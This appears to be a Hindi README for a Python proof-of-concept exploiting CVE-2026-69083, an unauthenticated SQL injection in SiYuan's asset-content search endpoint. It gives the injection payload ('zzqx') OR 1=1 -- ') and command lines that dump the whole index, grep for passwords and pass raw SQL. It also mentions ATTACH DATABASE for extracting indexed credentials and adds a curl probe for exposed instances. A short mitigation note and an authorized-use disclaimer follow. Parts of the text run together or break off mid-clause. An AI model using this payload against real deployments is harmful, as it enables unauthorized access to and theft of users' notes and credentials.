
CVE-2026-69083 के लिए Python PoC, जो SiYuan के एसेट-कंटेंट खोज एंडपॉइंट में एक बिना प्रमाणीकरण वाला SQL इंजेक्शन है। अनुक्रमित एसेट और संलग्न SQLite डेटा को डंप करने के लिए REGEXP ब्रेकआउट और रॉ SQL पासथ्रू का समर्थन करता है।
SiYuan (एक Go-आधारित नॉलेज-बेस ऐप) में asset-content खोज एंडपॉइंट के माध्यम से बिना प्रमाणीकरण के SQL इंजेक्शन।
POST /api/search/fullTextSearchAssetContent उपयोगकर्ता-नियंत्रित query मान को बिना किसी एस्केपिंग के सीधे
REGEXP क्लॉज़ में जोड़कर (concatenate करके) एक रॉ SQL स्टेटमेंट बनाता है
(kernel/model/asset_content.go, assetContentFieldRegexp):
SELECT * FROM `asset_contents_fts_case_insensitive`
WHERE (name REGEXP '<query>' OR content REGEXP '<query>') AND ext IN <types>
query में एक single quote स्ट्रिंग लिटरल से बाहर निकल जाता है (CWE-89)। जब SiYuan को बिना access-auth
कोड (Conf.AccessAuthCode == "") के तैनात किया जाता है, तो पूरा kernel कॉल करने वालों को बिना किसी
क्रेडेंशियल के एडमिनिस्ट्रेटर मानता है, इसलिए इंजेक्शन पूरी तरह से बिना प्रमाणीकरण के होता है। method:3
REGEXP break-out है; method:2 अतिरिक्त रूप से query को रॉ SQL स्टेटमेंट के रूप में पास करता है।
< 3.7.36806 (जब कोई accessAuthCode सेट नहीं होता तो बिना प्रमाणीकरण के)ATTACH DATABASE) — जैसे कि ऑपरेटरों द्वारा नोट्स में इंडेक्स किए गए क्रेडेंशियल डंप करनाकेवल Python 3 स्टैंडर्ड लाइब्रेरी — कोई निर्भरता नहीं।
# dump the asset-content index (method 3 REGEXP break-out)
python3 exploit.py http://10.10.10.10:6806/
# only rows matching a keyword
python3 exploit.py http://10.10.10.10:6806/ --grep password
# method 2 raw SQL passthrough (select the 7 columns id,name,ext,path,size,updated,content)
python3 exploit.py http://10.10.10.10:6806/ \
--sql "SELECT id,name,ext,path,size,updated,content FROM asset_contents_fts_case_insensitive"
डिफ़ॉल्ट पेलोड है:
query = "zzqx') OR 1=1 -- "
zzqx') समूह (name REGEXP '...' को बंद करता है,OR 1=1 WHERE क्लॉज़ को हमेशा सत्य बनाता है,-- पंक्ति के बाकी हिस्से को कमेंट कर देता है, जिसमें अंतिम AND ext IN <types> भी शामिल है — जो अन्यथा
types खाली होने पर सिंटैक्स त्रुटि है (SiYuan AND ext IN के बाद कुछ भी नहीं भेजता है, और kernel
SQL त्रुटि पर चुपचाप कोई पंक्ति नहीं लौटाता)।एंडपॉइंट फिर asset-content इंडेक्स की हर पंक्ति लौटाता है, और टूल प्रत्येक पंक्ति का content प्रिंट करता है।
curl -s http://10.10.10.10:6806/system_stats # or browse http://10.10.10.10:6806/ (no login prompt)
पोर्ट 6806 पर चलने वाला SiYuan इंस्टेंस जो बिना access-auth कोड के लोड होता है, शोषण योग्य (exploitable) है।
... REGEXP ?) को पैरामीटराइज़ करता है और method-2 रॉ-SQL पथ को एडमिनिस्ट्रेटर जांच के पीछे रखता है।--accessAuthCode के साथ चलाएँ; इसे कभी भी बिना प्रमाणीकरण के उजागर न करें — access-auth कोड के बिना पूरा kernel API एडमिनिस्ट्रेटर के लिए खुला रहता है।केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। इसका उपयोग केवल उन्हीं सिस्टमों पर करें जिनके स्वामी आप हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है।